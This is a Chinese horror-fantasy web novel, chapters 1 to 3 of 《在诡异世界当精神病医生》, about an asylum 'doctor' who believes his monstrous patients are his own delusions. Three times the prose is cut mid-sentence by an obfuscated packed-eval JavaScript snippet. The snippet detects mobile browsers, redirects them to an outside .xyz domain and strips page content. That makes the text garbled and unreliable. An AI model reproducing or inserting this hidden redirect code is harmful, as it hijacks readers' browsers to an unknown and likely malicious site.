《在诡异世界当精神病医生》 1. 第 1 章 “那是一个容貌看上去极为接近于神衹的人类,我无法用语言描述出他的相貌,但自从看到他的第一眼起,我就知道我没救了,因为我的手指开始融化,就像蜡油一般滴落在地,但我还不想死。” 这是王明打给诡异检察机构的最后一通电话。 ……………… 雨夜,霓虹灯在湿漉漉的街道上扭曲成模糊的光晕。 青山精神病院内,楚青这边刚忙完,就有护士喊他:“楚医生,你看见院长了吗?” 在楚青面前摆放着的病历本泛黄的扉页上,一只镶嵌其中的眼球瞳孔灵活的转动着。 眼球下,记录着第一个病人的病历: 【病历编号:000】 【姓名:楚青】 【诊断:持续性妄想障碍(伴现实解体症状)】 【特殊备注:患者的妄想世界具有高度逻辑自洽性,切勿强行纠正】 楚青半眯着眸子,眼见护士边跑边扶住自己摇摇欲坠的头颅,他感觉自己的认知障碍好像进一步加重了。 就在昨天,他还看见在床上埋头认真看书,正常呼吸的病友心电图平成一条直线。 他扶额开始纠正护士的称呼:“没看见,还有,我不是医生。” 护士听见前半截回答,干脆将头颅抱在怀里,打算离开了,后半截硬生生将她留在了原地。 抱在怀里的头颅嘴巴咧开到耳根后,楚青甚至能看见其细密锐利的尖牙跟一大长截猩红,带有尖锐倒刺的舌头。 她的嘴巴部分发出咯咯的笑声:“您开什么玩笑?您就是医生啊,就是您治好了我的头疼症呢。” 有关护士的病例诊断救治过程,摆在楚青面前的病历本上写的清清楚楚,一翻就到了,只见上面写着: 【病历编号:0304】 【姓名:刘妍丽】 【初步诊断:头疼症加间歇性疯癫】 【治疗建议:ECT(电休克疗法)】 【治疗结果:患者积极配合,已治愈】 可他并无半分印象。 一天工作下来,他略显疲惫,神色恹恹,纤长睫毛在眼皮下落下一道细长阴影,唇色偏红,就像涂抹艳丽口红一般。 即便如此,搭配上精致五官与白到堪称病态的肤色,还是忍不住教人多看上几眼。 就在此时,病历本自动翻开到空白一页,楚青不由得看向附近的窗户——是关着的,并没有风吹拂进来。 等目光再移回来时,上面凭空多了一行小字: 【姓名:王明,张扬,李梓(闯入者)】 目睹一切的楚青:“……” 他果然幻觉加重了,都看到纸张上自动浮现字迹了。 他将目光放在“闯入者”上好一会儿,最终决定打着伞跑去大门那里看上一眼。 外面空荡荡的,只能听见雨滴打在伞面上发出的啪嗒声。 更别提房门内地毯上干干净净,室内的瓷板砖甚至能清晰照出人的样貌来,完全看不出有任何闯入者的痕迹。 观察完一圈,并没有发现丝毫异常的楚青不由得哑然失笑,他也真是够有病的,连自己的幻觉都敢轻易相信。 再看向钟表时,上面显示时间已经接近晚十一点了。 楚青将门外的显示牌变成“close”,顺势拉上房门,关闭灯光后,打着哈欠打算回房休息。 最外围锈迹斑斑的铁门突兀地立在雨中,门牌歪斜地挂着: 青山精神病院(特殊病例收容区) * 楚青没想到,他回去睡觉的路上也能遭遇截胡,头顶上,有东西速度疾驰的冲他所在的位置爬行而来。 那东西四肢并用,长长头发垂坠下来,遮掩住红色的眼珠,只能透过暗淡灯光看见露出来的一截分叉猩红的舌头。 “滴答——” 一滴腥臭粘液自粉嫩舌尖滴下。 楚青凝眉躲开。 “青青!青青!” 那人不人鬼不鬼的东西发出小孩般的稚嫩声音。 “我刚刚找到了两个新鲜的玩具,你要陪我一起玩吗?可好玩了。” 楚青捏着眉心,神色略显疲惫,这种神情在社畜打工人身上极为常见。 “不玩,现在时间很晚了,你要乖乖回去睡觉。” “不嘛,不嘛。”他声音不带一丝情绪起伏的机械般重复着,就像一种诡异的撒娇。 “陪我玩嘛,陪我玩好不好?好不好?好不好嘛?” “就一会儿,一小会儿就好。” 楚青拒绝的干脆:“如果你还不尽快回去睡觉,以后一个月内将禁止你吃任何糖果。” “不要!我马上回去!” 糖果对于小孩子的诱惑力无疑是致命的,他当即飞速爬到了自己的房间,嘴里还不满的嘟囔着“坏青青。” 门上房门没多久,他的房间内就传来了细密的咀嚼声,咔哒咔哒的,就像是在咀嚼硬质糖果。 对于这点楚青早已见怪不怪,毕竟他没少偷吃,尤其是自己生气时,总喜欢抓一把硬质糖果塞进自己的嘴巴里。 尽管那些糖果在楚青看来是人类的牙齿。 与此同时,楚青桌子上的病历本有关张杨跟李梓的名字闪了一下,很快消失不见。 这意味着两条人命的逝去。 * 被打搅的楚青这边刚将自己所在房间门拧开,吹拂而来的刺骨凉意就冻了他一哆嗦。 借助月光的他定睛一看,卧室里的窗户上果然破开了一个大洞,冷风夹杂雨水渗入室内,距离窗户最近的地面上汇集了一道浅浅水洼。 楚青深吸一大口气,比起入室抢劫,他更关心放置在窗户附近的床铺有没有被打湿完全。 刚一凭借直觉摁开灯光,门外就迅速出现一个黑影,不等楚青想反抗,脑门就对上一个黑洞洞的枪口。 为了生命着想,楚青没再敢动。 “我保险柜放在床底下,你伏下身时一下子就能看到,密码六个六。” 他回答的利落又干脆,引得身后持枪之人明显神色一滞,但劫匪的注意力目前并不在劫财上面。 “真够操/蛋的,”本想团伙入室盗窃的张明暗骂一声。 他另一只手握住沙沙作响的对讲机,任凭他怎么呼喊都没有任何人声回应,反而有听不真切的咔哒咀嚼声一直重复着。 这毛骨悚然的声音激得他心脏不由得突突直跳,不详预感涌上心头,张明嗅到了死亡蔓延的气息。 他的两位同伴估计凶多吉少了。 这一噩耗教他不由自主的咬紧牙关,但他却怎么也不肯轻易接受现实:“你把我的两位同伴怎么了?拒不交代我就开枪了,可小心着点你的脑袋!” 状况外的楚青听得一头雾水,他有点怀疑身后威胁他的这位是不是新来的精神病人,扮劫匪入戏怎么这么深? 职业病发作的他不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621977|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得想一睹这位病人的真容,结果就在他小心转头,就要将人看个真切时,同样看清楚青长相的张明突然呼吸一滞。 如果这世界上真的有天使,一定是楚青这般模样,不论是从其精致容貌还是自气质来讲,绝对是独一份的存在。 张明看直了眼,枪口不由往下移了移,生怕挡住这张神圣面容来。 这张脸仿佛自带滤镜般,头顶带了一层圣洁光环,教他不由自主的想要臣服下来。 这难道就是所谓的净化能力? 张明深感震撼,扣动扳机的手指怎么也摁不下去。 楚青见他没有想要攻击的意向,便自顾自劝道:“这位病友,现在是休息时间,不能私自进入别人病房影响他人休息,这是规定。” 哪怕面对的是一管黑洞洞的枪口,但楚青行为举止依旧不卑不亢,甚至扫荡过来的眼神都足够冷淡平和,仿佛真正该受到威胁跟谴责的是持枪者似的。 他说完,将目光移向自己被雨水打湿一半的床铺,有些遗憾道:“看来今晚在睡觉前又要忙活一阵了。” 可能是被这过分平常的语调惊的,张明差点没能握住手中的枪支。 甚至就连其缓缓淡出视线,走向另一个房间不见踪影时,张明还是没敢将肺部中积攒的浊气吐出。 而楚青不知道,随着他那句说道的话语落下,病历本记录着张明的那一页突然浮现出血字来: 【临时诊断:严重违规】 【治疗方案:建议住】 “住”字刚浮现出偏旁来,仿佛就像摁下了暂停键似的,后半截迟迟不肯出现。 病历本敏锐感知到了楚青生气的情绪,扉页的眼皮颤了颤,“建议住”三字瞬间被抹去了踪迹。 纸张上出现了旁的汉字: 【治疗方案:永久静音】 这些字落下时的瞬间,张明全身如蜡油般融化,他费力去拿出口袋里的手机开始拨通电话,可惜没等他交代完全,不过一句话的功夫,很快其整个身躯轰然倒塌,最终化为一滩血水。 就在即将失去意识的前一瞬,破裂窗口外的东西教他陡然瞪大了眼睛——那是一团如巴掌般大小的红色眼球,竖起的瞳孔中闪烁着兴奋的神色。 他根本没机会发出尖叫了,因为他的声带早就融化的半点不剩。 离开好半晌时间,刚从隔间拿来一打备用被褥回来的楚青探头询问道:“需要给你安排一间房间吗?” 因为距离比较远,再加上张明通话时发出的声音很轻,楚青并未听见讲话内容。 无人应答。 室内突然的寂静教楚青心生不安,他找寻一圈后,除了地面上多出来的血迹,再没看到别的人影。 在询问周围居住着的病友无果后,楚青很快接受了现实。 肯定又是他的幻想症在作祟。 就在楚青将床铺收拾完全,关灯后,在窗户外观看的意犹未尽的眼球像是终于找到了机会般,挪动自己如蚯蚓般的视神经一点点进入室内。 它操控视神经让自己发出的动静尽量小声,外面包裹着的浅色绒毛一颤一颤的,瞳孔却一动不动对着躺在床铺上的某位,眼球形状逐渐变成代表着欢愉的弧度来。 另一边,病历本崭新一页上开始浮现出新的字迹来。 【病历编号:001】 【姓名:沐枯】 【初步诊断:病态迷恋】 【治疗方案:有待跟进中——】 2. 第 2 章 外面的雨依旧在下,闪电从云层劈下来时,带着雷霆万钧之势。 青山精神病院周遭的一条狭长巷子里,有灼亮灯光照射进来,沾满泥泞的战术靴踩过水洼,在水面上泛起一圈又一圈的涟漪。 通讯器铃声响起时,领头的检察官皮靴鞋尖一顿,他缓缓驻足,抬手示意跟在他身后的其他人员不要轻举妄动。 四周寂静的可怕,甚至能听见相距甚近的俩人间的呼吸交错声。 正因如此,通讯器那边传来的声音才能无比清晰的传进每一个人的耳朵里。 “找到逃跑的那颗眼球诡异了吗?” “没找到,”他如实回答,并说出了自己的相关猜测:“感觉像是进入高危鬼域了。” 鬼域,顾名思义就是诡异活动的区域,只不过这个玩意儿因人而异,有些诡异的可活动范围甚至是整个人类世界。 说着,他不由得敲了敲右手腕上佩戴着的手表,其正中央有着一颗指甲盖大小的沉睡眼球,以它为中心,只不过延伸出了一根指针出来。 它的边缘部分并没有代表着时间的任何文字,相反是一些教人捉摸不透的奇异纹路,它们纵横交错在一起,就像树的纹理。 随着检察官在它表盘上发起富有节奏的敲击,但这并没有引起它的任何反应来。 偏偏眼球上微微颤抖的眼睫将它胆小怕事的模样暴露无疑,这让检查的认真的检察官不由得哑然失笑。 其实诡异之间也是存在互相蚕食行为的,对于一些高危诡异来讲,低级诡异无疑是很好的食物,那可比人类吃起来有滋有味多了。 他对着通讯器那方道:“根据B级诡异手表的指示,我们自从进入一道狭长胡同后,它便再没了反应。” “你也清楚这诡异的习性,一旦追踪开始,不找到猎物誓不罢休,我还是头一遭在它这里看到恐惧的情绪。” 没等对方回应,检察官便认真分析回答道:“我要求将C级眼球诡异的诡异档案转入绝密档案。” 通讯器那边沉默了好一会儿。 “你走时身上不是还带有一张a级诡异便利纸吗?你就不能问它一下?” 检察官在心底暗骂了一句黑心无良老板,如果说运用b级诡异手表要付出的代价是提供相应的血肉伙食喂饱它,那么使用a级诡异便利纸的代价就更大了。 因为这玩意儿要靠寿命来交换。 就像它档案写的那样。 【诡异:黄色便利纸】 【诡异等级:a级】 【作用:有问必答】 【代价:每次提问问题要靠一个月的寿命作为交换】 但早些天他在总检察官手里吃了扁,现在打死不愿再做这只出头鸟来,更别提还是卖命的行径。 眼见检察官这边还是沉默着不发一言,通讯器那方干脆喊了一声:“我愿意用一个月寿命作为交换,请告知我刚刚逃跑的诡异眼球所在的具体位置。” 见他这么说,检察官十分狗腿的将黄色便利纸从衬衣口袋里拿出来。 这是一张外表看来再正常不过的纸,但因为有了寿命交换,它的上面缓缓出现一行字迹来。 就在地球上。 检察官:“???” 这也就意味着他没有猜错,眼球诡异所进入的鬼域令身为a级的它感受到了威胁与震慑。 他将便利纸上的情况反映给那边后,终于在又一阵诡异的沉默中得到了相应答复。 “你先归队,稍后我会跟总部反映相关情况。” * 青山精神病院。 清晨一大早,因为窗户破开的大洞,阳光肆无忌惮的倾洒进来,楚青的面部正朝窗户那边,现在经受强光这么一照,他皱着眉头,开始翻身尝试躲开阳光的照射。 手无意间触及到身下的床单时,一股刺骨的凉意袭卷而来,楚青无意识地伸手抓了两下,感觉手下的触感冰冰凉凉的,好像还带着点湿滑的潮意。 说实话,楚青对于这样的触感并不讨厌,他甚至希望这股凉意还能多来上一些。 突然,他猛然一怔。 等等…… 湿滑的什么玩意儿? 为了确保这是真实发生的,他再一次将手探向了原位,还是原汁原味的触感。 一种不可思议的想法涌上大脑,他总不能是尿…… 但这可能吗? 他尝试洗脑自己,觉得一定是昨天有雨滴从窗外飘到床上去了。 但就以目前床榻跟窗户的距离来看,雨丝别说上床榻了,能挂到床边都是一种不小的挑战。 这个借口估计也就只能骗骗鬼。 但很快楚青就发现了不对劲的地方,因为那股“凉意”会动,没一会儿同样的湿滑感触就抵达了腰腹部位,还十分不知死活的往他的衣摆底下去钻。 楚青一掀开被子,打开灯后,敏锐注意到了趴在他衣领上的一团黑乎乎的东西,就像泥巴团似的,他一动,那个东西所接触到的皮肤便传来阵阵痒意。 那小玩意儿还挺精,感受到他的动作后,拼了命的往衣摆深处去钻,只不过它蠕动的动作并没有多快,楚青敏锐的在衣摆外面抓到了它遗漏的一截小尾巴——那是一截如蚯蚓般尝试蠕动逃脱的视神经。 粉嫩嫩的,简直是大肠的缩小版,颜色看上去漂亮极了。 楚青刚拎住那截将它揪出来,正打算教训它时,却在看清它的全貌后,突然将即将骂出口的话咽到了肚里。 “我是不是从未见过你?” 都不用眼球回答,楚青已经足够肯定自己从来没见过它。 这就怪了,因为楚青早就见过了精神病院里的其他病友展现在他面前的,千奇百怪的长相来,而且这么多天他的妄想症止步于此。 没想到现在随着时间的推移,他的妄想症也会学着自主进化吗? 他居然在精神病院里看到了从未见过的玩意儿。 眼球的容貌单从眼球界来看,绝对算得上是眼中翘楚,他的瞳孔呈现出一种罕见的灰黑色,瞧着像是玻璃质的。 而它的睫毛,又长又密,如果不是触感上摸上去是真实存在的,楚青简直不敢想要是将假睫毛贴成如此鬼斧神工的成品来,到底要耗费多少“眼力”。 建国以来不允许“未成年”诡异打童工。 眼球被他盯着好一会儿看,眼皮居然浮现出淡淡的红晕来,就像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621978|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思春的少男少女。 楚青眨巴眨巴眼睛,觉得自己的幻觉有点趋向于变/态了。 眼球……思春? 对着的对象还是他? 这三条随便单拎出一条出来就足够教他感到窒息了,更别提还是这般王炸组合。 楚青正恍惚着,就听眼球滩在他掌心上,用一种极为痴迷,爱恋的眼神望着他。 “妈……妈妈……” 不存在幻听但宁愿自己出现幻听症状的楚青说话都不利索了,他不可置信道:“你……你叫我什么?” 眼球发出孩童般脆生生的声音,极为认真的重复道:“m……ma……妈……” 可能是刚学会说话没多久,它说起音节来磕磕绊绊的,一连打了好几下磕巴才勉强发出“妈”的读音来。 这一系列迷离走向听得楚青眼睛都快瞪大了,他很少在外人面前展现出喜怒哀乐的情绪来。 那双形状漂亮的眼睛不论望向谁时都是一副淡淡的情绪,待人接物永远平和,教人摸不准那双冷淡的眼睛背后究竟藏匿着何等灵魂。 但现在,就因为面前“小家伙”的一句话,楚青破了戒,脸上逐渐浮现出别样的情绪来——无奈,惊讶还有一丝惊喜。 惊喜是在于没想到这么小的东西居然能说话,虽然发出的字音还不太标准,但却也足以证明它的优秀跟天赋异禀。 眼球见楚青没怎么搭理它,它眨了一下眼睛,又发出了轻微的叫喊声。 这一次有了巨大进步,哪怕它说出“妈妈”两个字时依旧磕巴,但发音跟前两次相比,却有了很大的进步。 不过它好像并不满意自己的表现,又接连重复了好几次,但愣是一次都没成功过,为此它的整个身躯弯成倒月牙状,眼眶里逐渐泛起水雾来。 就这一副小可怜劲儿惹得楚青都不太能狠下心来纠正它。 但他也只是平复了一会儿心情,就开启了启蒙教育工作:“我不是你妈妈,叫哥哥。” 眼球对于这个词汇感到陌生,但它躺着跟楚青对视好一会儿后,还是顺着楚青的话学着“哥哥”的发音道:“g……g……” 因为这两个音节的发音问题,眼球说话声又开始变得磕巴起来,这一次它的眼皮涨红的相当之快,产生的原因当然不是因为害羞,而是被憋涨的。 它尝试努力了好一会儿,最终决定果断放弃,它就像被摊平的饼般整颗瘫倒在楚青的手心里,随着眼皮的眨动,眼眶里溢出大颗大颗的眼泪出来。 很快洇湿楚青手掌下的一小片床单。 “妈……妈妈……” 眼球随着说话声一抽一抽的。 楚青觉得自己要是再不阻止,指不定会造就什么“水漫金山”的场景来。 “你乐意这么叫就叫吧,随你。” 眼球终于开心起来,一秒止住了哭泣,眼眶中的水雾迅速退下,这一切发生的太快,楚青隔了几秒后才终于缓和过来。 他因为眼球的欺骗行径,下手轻捏了一下眼球,就像是在抚慰刚出生不久的雏鸟。 都说雏鸟才会有雏鸟情结,原来“眼球”也有吗? 但也说不准,谁让他患有妄想障碍症呢。 3. 第 3 章 洒进来的阳光有些过分刺眼了,这反而方便了楚青的打量。 眼球鼓鼓囊囊的,凑近些去看,甚至能看清眼睑上遍布的睫毛,几滴细碎晶莹的泪珠在上面挂着,眼皮连续眨巴好几下,泪珠才勉强从睫毛上坠下。 楚青感受到了指缝的黏腻,有些恼怒自己突然的圣母心发作,居然教眼珠胆大包天,行为愈发放肆起来。 只不过……推拽在眼球外部的视神经体积是不是过分大了些,其粗细都快赶上食指大小了。 至于长度——应该能绕满他的两圈手腕。 它就像有自己独特的思维想法似的,绕着眼球外围搭了大半边,与一条全身布满大片堆积血块的肉色小蛇无异。 更甚者,与他平常所见的眼球不同的是,在它外面有着密密麻麻的乳黄色疙瘩,其形状大小跟未被蒸熟的小米粒差不多。 楚青讶然于自己如此逻辑自洽的妄想症,更萌生出了一种想要用指腹触碰感知的想法。 早在刚刚将眼球放置掌心时,通过接触,他早就感受到了其长相怪异的视神经带来的,一晃而过的吸附感,而这种感觉他曾经在章鱼的触手吸盘上体验过。 那是一种极其微妙的感觉,就像恋人炙热的吻落在指尖,如羽毛轻扫心口。 只要吸附下去的力度再大上一些,皮肤上想要留下一些类似吻痕似的红痕基本是板上钉钉的事。 眼球就这么明晃晃的在他掌心瘫着,似乎对于即将到来的触碰有些害羞,它的瞳孔由原本的圆形变成了竖形,只要再眯一点,就真成针状了。 而且随着楚青抚摸的范围逐渐加大,眼球越来越粉嫩的同时,楚青也有了别样的感觉。 因为他感受到了那些疙瘩上伸出来的倒刺。 如果只是最平常不过的抚摸的话,倒是没什么,就怕一个不留神,猛一用力,倒刺划破指腹,流出鲜血来。 而现在,门外又刚好响起了敲门声,只不过声音的发出位置在门的正上方,“咚咚咚”的,持续不断。 小孩子叫喊的声音同样来自于门的上方,如果你肯仔细倾听,差不多能大致估摸到其声音来源的位置——就在天花板上。 “青青,青青,起床了。” “陪我玩,陪我玩。” “太阳晒屁股了~” 小孩子的声音越欢快,眼球发出的戾气就越重,它甚至有了想要露出一口白牙,加以挑衅的想法。 只可惜它根本无处实施,因为它只是一颗眼球,连牙齿都不曾拥有。 但随着它的缓慢挪动,它嗅到了血的味道,而且这味道就来自于它的附近。 不过这血闻着好甜啊,首先,它是个实打实的诡异没错,而且本质上它并不嗜血。 但架不住这血甜腻的味道一直在撩拨它,它觉得自己也不是不能违背本性去尝上一尝。 只是在稍稍挪动一下自己的四肢——视神经时,它居然尝到了一点血腥气。 但这并不耽搁它的细细品尝,又或者说,通过“口径”品尝到的鲜血太过香甜可口,竟然让它忽略了血液本身的铁锈味儿。 这大概是它第一次尝到如此香甜的味道,忍不住吸多了些,直到它听到上方传来从牙关里传来的“嘶”的一声,才停止了吸血的动作。 眼球开始转动眼珠看向楚青所在的位置,尤其是他的脸。 它叫楚青“妈妈”绝不是凭空白叫的,在它眼生的认知里,只有真正长相好看的人才值得做它的妈妈。 毫无疑问,楚青就是它眼中长得最好看的人,好看到……只要它隔着窗户玻璃看上一眼,就走不动道了。 眼球顺着思路开始仔细端详起楚青的整张脸来,越看越觉得满意,如果不是他脸色比原先更加惨白了些,这种喜悦感没准会更上一层。 * 楚青是因为失血才变了脸色的,他看着自己被眼球“吸盘”上倒刺划破一点缺口,仍在渗血的手指不由微微出神。 说实在的,其实算不上多痛,感觉就像被一只蚂蚁咬了一下而已,只是没想到上面的倒刺竟如此“给力”。 不过因为几句喊叫而愣神的功夫,他居然就能因粗心而被伤着,也挺意外的。 但很快,他就感觉自己渗血的地方被冰凉湿润的东西覆了上去,伤口,尤其是露出里面血肉的部分感觉痒痒的,就像是舌头在舔舐。 楚青惊了下,再次低头才发现眼球在努力用它独有的一条可供整具身体蠕动的视神经,认认真真的盖在他的伤口处,就像是在努力处理自己无意做错事情的孩童。 就在不久前止住哭泣的眼球就在下一瞬,眼神对视上楚青视线的瞬间,它的眼眶再次漫起了水雾。 但它漫了好久,愣是一滴眼泪都没有落下过。 楚青好奇它这一现象,但鉴于某颗眼球太过无辜,自己还是起了安慰的想法:“伤口并不是很大,没事。” “有事的,妈妈的脸好白,我只在棺材里躺着的死人身上看过这么白的脸色。” 它嘟嘟囔囔着:“我会忍住不哭的,眼泪是咸的,很容易造成伤口的进一步恶化。” 最后,它又忍不住蹭了蹭楚青的拇指:“妈妈,香香。” 眼球本想用自己的这一波操作进一步俘获楚青的芳心,哪知楚青用一种探究的眼神看了它好一会儿。 就在眼球快要被看得眼皮上面分布着的绒毛全部炸起来时,楚青不再带有任何怜惜的将它从自己的掌心中拎下,毫不留情的甩到柔软枕头上。 虽然它没感到任何疼痛,但因为楚青甩到过于干脆,它整只眼睛蒙了好一会儿,才支棱起半边身体来看人。 “妈妈……妈妈不喜欢我这样吗?” 它懵的眼眶里的水雾都散下去了不少,半点不见刚刚楚楚可怜的状态。 楚青披了件深色外套,看也不再看它:“别装了,你刚刚不是只会叫妈妈吗,这会儿这么就会说这么多别的词汇来了?” 眼球眨巴好几下眼睛,软下声音开始认错道:“我错了,妈妈不要生气。” 楚青没再应答,房门一打开,天花板上吊着的另外一团嘟嘴表达着自己的不满。 “你好慢,好慢啊,青青。” 小孩脸与正常孩子无异,只不过四肢与正常人相比都要长上一些,就像大人装了小孩的头。 但其头部跟身体的衔接部分并没有明显的缝合痕迹,但令人不安的是,他的头颅明显与身体形成了两种极端。 枯枝般的手指关节咯吱咯吱的挠动着天花板上的墙皮,眼看右手边第三块墙皮不保,楚青叫出了小孩的整个名字。 “王杰。” 被叫了全名的小孩身躯猛的一顿,每次楚青叫他时,都意味着自己做错了事,将要接受惩罚,所以每次他被喊全名时心里可谓是又惊又怕。 “你昨晚已经惩罚过我了,你今天不能接着惩罚我!” 他大声叫喊起来,虚张声势,仿佛只有这样才能压下自己的心虚似的。 如果换做一个平常人,见到一个癫狂诡异在自己面前发疯示威的模样,可能下一秒就要行使跪拜之礼了,但现在站在诡异面前的人是楚青,一个早就对该场景司空见惯的人。 昨晚楚青的话算不上惩罚,如果真要说的话,算得上是警告的话。 楚青并不吃他这一套:“那好,从现在开始,我禁止你吃一天的糖果。” 王杰双眼瞪得溜圆:“不可以,我都这么好心叫你起床了,你怎么可以这样?” “你确定你不是打算在敲门后,自己再躲在墙角,等我听见声音看门时吓我一跳?” 楚青说的斩钉截铁,根本不给他钻空子的机会。 “而你现在,不过是等的太久,没了耐心,打算主动献身了而已。” 王杰无力反驳,因为他就是抱着这样的心思做的。 * 病历本扉页上的眼球打着哈欠,开始认真记录起楚青交代的话来。 记录着王杰病例的那页,下方多了一行刚添上去的小字: 限制一天的糖果配额。 仿佛是为了响应病历本的记录般,就连王杰自己偷偷储藏着糖果的玻璃罐也凭空消失了。 而那些糖果,还是他攒了好久,打算躲在没人看见的地方偷吃的。 但病历本可不管这些,它是个听话的孩子,它很乐意将自己主人说下的话一五一十的记录下来。 但就在它合上自己的书页时,不知又想到了什么,它再次自己翻阅到了沐枯所在的那一页。 根据它刚刚听到的内容,它能明显感受到主人对于眼球的不欢迎来,在写着“病态迷恋”这几个字上闪了又闪,似乎是在思考纠结该用哪些词汇替代才好。 很快,它干脆不再思考,干脆利落的将这几个字用一道鲜红的笔道划掉,后面浮现出了别的字来。 上面写着:诈骗犯,认知错乱(乱认妈) 它似乎很满意这几个新添上去的病症描述,便不打算合上,就这么摊开摆在桌上,等待着主人看到后,对它作出的夸奖。 * 楚青房间内,眼球刚将自己埋进楚青躺过的枕头里,正打算深嗅一口时,不知是哪来的手指一下将它揪了起来。 王杰用贪婪的目光看着它,哈喇子差点从嘴边流出来。 “好香,感觉你好像好好吃的样子。” 如果说人类牙齿对于王杰来说是硬质糖果的话,那么眼球的口感对他来讲跟软糖没差。 虽然他更倾向于嘎嘣脆的口感,但偶尔用软糖开开胃也不错,软软糯糯的也可以接受。 只是还没等他直接上牙去咬,在眼球四周无端漫出许多红色丝线,丝丝缕缕,宛如蜘蛛丝般,铺天盖地的罩下来。 王杰没来由的被震慑在了原地,瞳孔中映出数条红色丝线的模样,那宛如血一样流动而鲜活的颜色,就像来自于人体内部的毛细血管。 只是哪怕这些如头发丝般粗细的丝线他尝试用尖牙噙在嘴里磨了好久,愣是半点儿都没导致破损。 而且他还被眼球所迸发出来的气场跟眼神给死死震慑在了原地。 这股王者般的气场与楚青所带给他的感受截然不同,前者是温柔刀,却刀刀要人性命。 后者好像一个照面就能将他给活活弄死似的。 更让他感到不可思议的是,他在眼球身上感受到了来自于王的威压,可他们的王在多年前早已不知所踪了。 他正思考着,脖颈处被束缚上去的丝线扯动间,差点就要引发窒息风险。 王杰眼珠子在眼眶中滴溜转了一会儿,在疼痛中还是选择了妥协,又或者说,是他的无可奈何之举。 “王,请您宽恕……” 王暂时不太想这么轻易就饶恕了他,毕竟刚刚要不是他的突然打搅,楚青也不会因为分神而划破指腹受伤。 吃了他! 这是此刻眼珠沐枯的唯一念头。 它算不上多饿,但或许是刚刚有了楚青的血开胃在前,竟然在无形中刺激到了他的食欲。 眼球……自有眼球的吃法,如果时间足够充沛的话,他可以勉强尝试做一下风干腊肉,将其捆绑,吊在阳台衣架上,头朝向地面方向,晾个七七四十九天。 等到身体里的血液跟水分被蒸干的差不多时,就能将其摘下,美美饱餐一顿了。 王杰被眼球阴测测打量而来的目光惊得一阵战栗,下半身,尤其是大腿部分,克制不住的抖动着。 那是对于死亡的恐惧。 但诡异真能被如此轻易威慑住吗?答案是否定的,只有那种比诡异等级更高的存在才能杀死低等级的诡异,说到底不过是大鱼吃小鱼的规则罢了。 这一次王杰再也不敢懈怠,死亡的威压笼罩而来,这让他不得不重新审视起自己的处境。 没人会不珍惜活着的感受,哪怕身为诡异。 还没等他哆嗦着嘴唇试探着将要来上第二次求饶时,卧室的门再度开了。 王杰身上束缚着,索他命的丝线瞬间收回,眼球就像没事人似的,瞬间变为一副乖巧可欺的模样,眼睫毛扑闪扑闪的,别提有多无辜了。 他的视线在眼球跟楚青之间来回徘徊了好几下,最终还是决定抢先一步扑到楚青的怀里卖惨。 “青青,它欺负我!” 他压根没有敢回头的勇气,只敢哭哭啼啼的将手指向身后,大致估算着眼球的具体位置。 楚青的视线转而在眼球那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621979|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里停留了下,虽然眼球看起来更可怜,更为无辜,但直觉告诉他,这俩都不是啥好人。 也许是看在眼球没来到这里多久,还是个“宝宝”的份儿上,再加上王杰在他眼中调皮捣蛋的形象已经定型,他安慰人时,发音的腔调跟说“早上好”基本没什么差别。 “所以呢?你们要打上一架来分个高低胜负吗?” 这是王杰这个精神病院有名的熊孩子一贯的做法,万一有人惹得他不开心,他绝对要想方设法的呲牙必报回去。 但这次明显不太一样,通过抚摸某人颤栗的脊背,还有额头新冒出的冷汗,楚青只觉得新奇。 毕竟王杰这个混世魔王还从来没被人这么轻易降服过,楚青也是头一遭收获到他的求助撒娇。 他眯眼看着王杰揪住他衣领的手抖啊抖的,忍不住问出了声:“你怕他?” 他当然指的就是现在床上故作卖萌姿态的眼球。 王杰很想否认,但理智告诉他,如果自己真要这样子做,以后王的面子该往哪里搁? 也绝不可能轻饶了他。 他原地思索了两秒,在眼球即将冒出“嘤” 的一声时,迅速从楚青的怀里退了出来,夺门而出。 那股风风火火的劲儿,就好像后面有鬼在追他似的。 这是……变相承认了? 但楚青最在乎的并不是这个,他看着自己还依旧破碎不堪的窗户,朝着王杰离去的背影交代了句。 “记得帮我把院长找来,我找他有事。” 王杰听见楚青喊他的声音,还不由得放轻了些步子,就是为了方便能更清楚听到楚青的说话声。 “你告诉他,如果他还躲着不肯出来的话,我不介意多送他一天的药物剂量。” 楚青说着,还拢了拢身上披着的白大褂,将口袋里的圆珠笔拿出来,正要往药用单子上填写着些什么,看着挺像那么回事。 但写了半天,纸张上还是空荡荡的,就连一滴墨水都没有沾染上面。 * 